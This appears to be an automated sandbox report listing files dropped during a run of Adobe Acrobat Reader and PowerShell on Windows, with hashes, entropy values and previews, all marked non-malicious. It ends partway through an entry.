C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.230591708016589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfbPtdPeUkwRe9:YvXKXUtvR/ZwHAXGDV8Ukee9
MD5:	543056BFC8917E2C9AD29F1152820663
SHA1:	693A8CB6E5B797006ADDFE898848BA6C8B70501D
SHA-256:	29BEACBC16629AC98DA5511975845C6B5A014D82CC76458A509D313A933E23CD
SHA-512:	2FE217A338DA97B481C17010033118E422DFAB0A57E099852585B7BA6EC2CBB2C15487EE7434442DF4A5349C6FB5FA41FC0FE1C42CD596C9006263BBA3C511E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.22824685295595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJf21rPeUkwRe9:YvXKXUtvR/ZwHAXG+16Ukee9
MD5:	1028B840C4BC27FAC0404E5A49469C3D
SHA1:	58BBB368D8C0056BC941F3CDE2A5E2A329A99E29
SHA-256:	824230500D76D3A1E2271D0416577A4C355CFD549B67C613F5AC79F5618C269F
SHA-512:	BFA30EC61D56B78906D7E6D458FF2C57723C6F943F5733737B6E2A38106B29301FB297D14299187C86A16316E36524036C41F29D23A81572735BBB5848A31328
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664825413918622
Encrypted:	false
SSDEEP:	24:Yv6XUtJh0amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSlj:YvxJhyBgkDMUJUAh8cvMJ
MD5:	7929C4891ACA2C2B730AAA4EFDDFDF96
SHA1:	47EF26D5AA3782443083181270EF6CCBA5AE48A7
SHA-256:	DE2487CF623F726A310FA70F38E2BA15B544006B0174799A232C879FC5DD7FBD
SHA-512:	D4D94D25EEB1F1C4E4E051772436337133C67E748D5F3FFE1ACE64BAABA353E9E8F346C563952FF089E8560B00517D22D3E446B7B8C008398C55F7117589D0F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.206873171697892
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfshHHrPeUkwRe9:YvXKXUtvR/ZwHAXGUUUkee9
MD5:	07DF2D4B1D538E34376B9BE4D86C9187
SHA1:	828CF97385323073E50B142B6DCC3A9E564EBBF8
SHA-256:	2E12B58C517452840AFCCC3944A571A4D7C68A889441A25D9B838A35706F357B
SHA-512:	10669E2253CF118FE8281FF2CF8C86452C816967FB3337975BB351821D55BE30ACA505FFA80D9D6375970D7BA8CD23BEF4B2459A49046881615945704F1165C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.222004419951802
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJTqgFCrPeUkwRe9:YvXKXUtvR/ZwHAXGTq16Ukee9
MD5:	C65E86C415F64D100220DB4320EA8602
SHA1:	BFDC15157494EAD1707E0D4377A39ABB1F2784E7
SHA-256:	1AF3F021503580F735474116EA944876ABB74FEBDC32C2A10F90323C94F8DCE3
SHA-512:	2A14936CEA35180087FE9042DC0823F34D263D6F4179837D1856EAEA09F321533BB8602E499DE05A7E9C07A20A85C3209A7F7089A2B01DF7294E093D2A341FA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136033235336734
Encrypted:	false
SSDEEP:	24:YYNJ/CnaMayMCKP0Cq3pxFq4Ctl/CV1r/Ccjgj0SGCGSXYgCSTqTLC7IZzC/2iBD:YYNhSEpK1lyEeIm1pU6d/PPYLXOX9my
MD5:	9EDCE068B92BE794606C9D3604C8EA62
SHA1:	5853E35362866D1CC35850AB17BF859712B19339
SHA-256:	3A966BD1F894D1B3ACAD54C91B5EB6A730FC94FE7CB622B05FFE3AFB87198E22
SHA-512:	D044C5F4B04B39B475ABFFACF220EDE152C36210952B5DF32580A377EC8EF74F3BFF17C261E9A272B459E140AD76C1AF4E331A44CC9314103C70E82F3D0D7132
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4326ad15ea3920a82bee94fe88341c53","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736550400000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1b2dcd0bb841587a148ba9f0cf6ac25d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736550400000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ac292af37e2c3b357b07bc8f7d57b7b8","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736550400000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"80188fd5d061167f722d330bcb589348","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736550400000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"28e2974d36bc637a68b05290269934d2","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1736550400000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"89bd9b38c2e786c6938d7ca42ea0293a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319034932276011
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMerentqV0:TGufl2GL7ms9WR1CPmPbPahitypilIQF
MD5:	2D2556A03101DACA6ADF7CA775663498
SHA1:	DF419878C47B09FFFAAAD2EFC1C44AC551204B43
SHA-256:	A1FE70432CB0EEC17D119C09FEEE3FCDE9BA6E65CCEBFA83870448485719A426
SHA-512:	D5ECF6B1FBC6B60877D297E29D67B98AF02AE90AF033A076D57197E10D9F690E846687421DB2C46721F6DDD216EBCE5046AD4B7687EC3211A061F1EF7F5939AF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7804453040188561
Encrypted:	false
SSDEEP:	24:7+tilhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeren4qVpaVrScVr0InEqLhxU:7MpWR1CPmPbPahi4ypilIpqFl2GL7ms6
MD5:	FA9862860CED5CA699E9E7F1FAA8FD33
SHA1:	F50C35E54E50A610228A0826C74E2C8FD3DC3D4D
SHA-256:	4EA0B3C33481ED7FE1E383E42A7AAB3320839DC317F276124882D83AEB96AD8A
SHA-512:	D7B98B03C09B176DF4485F408ED3CA0AD3EA12B031F375C29DAAD47AC0441DBAA69823ECC73D03AEAC4AA36ABDB720584FEDE2CD370F0791AA89769FEFF4A820
Malicious:	false
Preview:	.... .c.....M..\..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglmGp8lisnfwPOVGgcnYcRpsxO/Yyu:6a6TZ44ADElmGpGNnYISpV/K
MD5:	4E4CA6DDEE7B3101E860B11301901C35
SHA1:	49450355DEE344914AB06BAA6056FE70C258F9C0
SHA-256:	51D682D8575FCBC3493E6D44AFED9C8B68A25FEACFCC457C4D217CCD9E994A9D
SHA-512:	83C2FA6C6E92C40547BEEC22096C0610AC2476514B5708FC875CFCEA207F1D69162E8FF00B486AC30DF3E0198F3E83879836FE96890E952C6CEAC366EF364FEA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllulvh2th:NllUE
MD5:	1C6FEFD3AEFA5BA7595E7FC2E4284A86
SHA1:	1061961FD8D9427258B32E58594747A9009930B7
SHA-256:	AB4853F85060BF67D37B111333E3852386DF7BF6AA0499E6CEF96B10CE5A1621
SHA-512:	03A091C2C65B6C22EFB336B4155E8579A540C773DB34E8F8654BC3D7044C00434020096B41BF2959245CA8722CF3913B38A653DE361A5BF0FDF218A6F07B6626
Malicious:	false
Preview:	@...e.................................~..............@..........

C:\Users\user\AppData\Local\Temp\MSI5b587.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5325285763919316
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEFkw:Qw946cPbiOxDlbYnuRK+bDuw
MD5:	F35D164EA346379B0EF3C5F2848C14EA
SHA1:	1ABFA5D07739196CC6CF36847E52FF644BDD9689
SHA-256:	01FE3E1F983E5DF096C442D6E2F95E15C7BF6695C9F2F7651DC6D228D774D16D
SHA-512:	8758C7BFA35B7048E8FE3024FFDF1A945AAD8DC42A172A8FDFD29ECB49340862FD2281F2F3E0008F5DA396DA88F6523D62699C5760C1A4BFC67D806C9F172D71
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.0.6.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vrglafk.uss.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mmbp14jv.ycc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-06-34-246.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365427995624842
Encrypted:	false
SSDEEP:	384:ZGUz8a1j7cbEAdfsWxrlhL2D3wFne7fm9yhFH73y5gATRysp0+s9shwdrYfxtaXn:BOI
MD5:	B0E37CA58D043137D024138F9FA8BCBF
SHA1:	47EAB2DA0B4D8B92425D3D13981D3FFA1B0D4D6E
SHA-256:	CC21B918E9E69BC00F3819BE01F80D6CA4AD3E3C9A87E522521EC6433A59C822
SHA-512:	E29FB19E4B12D124AF04E051490C7BB21973A3EEFF8041D6CF3F54BF46F7A59710CE1CB7D3B07B4BA7CA9A7104DD4B27089A75988B9F7F93375FA8B19C3A10FA
Malicious:	false
Preview:	SessionID=fbc28ece-0811-403b-bb9a-bfcb126445c2.1736550394275 Timestamp=2025-01-10T18:06:34:275-0500 ThreadID=7676 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=fbc28ece-0811-403b-bb9a-bfcb126445c2.1736550394275 Timestamp=2025-01-10T18:06:34:282-0500 ThreadID=7676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=fbc28ece-0811-403b-bb9a-bfcb126445c2.1736550394275 Timestamp=2025-01-10T18:06:34:282-0500 ThreadID=7676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=fbc28ece-0811-403b-bb9a-bfcb126445c2.1736550394275 Timestamp=2025-01-10T18:06:34:282-0500 ThreadID=7676 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=fbc28ece-0811-403b-bb9a-bfcb126445c2.1736550394275 Timestamp=2025-01-10T18:06:34:282-0500 ThreadID=7676 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.414329267182514
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbbljjva/8pKJ29ulEVul/+VWt6cb8:ceo4+rsC4hHQ
MD5:	53367D29B5E193F76F7BF0D1D7983B5A
SHA1:	95D709D736DAC4D06B55A1601C64DCCE6CF1CA74
SHA-256:	9D795B32F258084C2AA8CCFC04113A04806EA0FC584D9A9BB87DFEE6425D5F1D
SHA-512:	547C78515FBCF7599CA9277507EA0F31A2E5F55D5F28B9F0A85B4BB29A3ED8FC65CB98E54F5CF36B638C7D4DAF0CB41C4AC14C95205755F6FCCFEC6AD6C54AD1
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\924358e8-6256-4403-a2a6-00c07ea62489.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	E88AC53FE29BDF9402BCF11696989153
SHA1:	EC950FE1C9ABBFB3713A082FC43B451A7F1A708F
SHA-256:	EB1E6D431D432B488F5B17DD7806ED04260E4A37264F282367F02C466A98327C
SHA-512:	A08590B0F5C1F281046A9E9D03A481758991E8C9CA2A96B8F59644C182F9D6EC81E9834FEF46FB3B27074EE8605C5AED79AB30957AFCB7A2734AD5018CB5C502
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9adacfe9-5108-4e5b-860b-38fed9e45308.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9b56d27c-d611-4e99-bd3d-6664fc2cedc7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
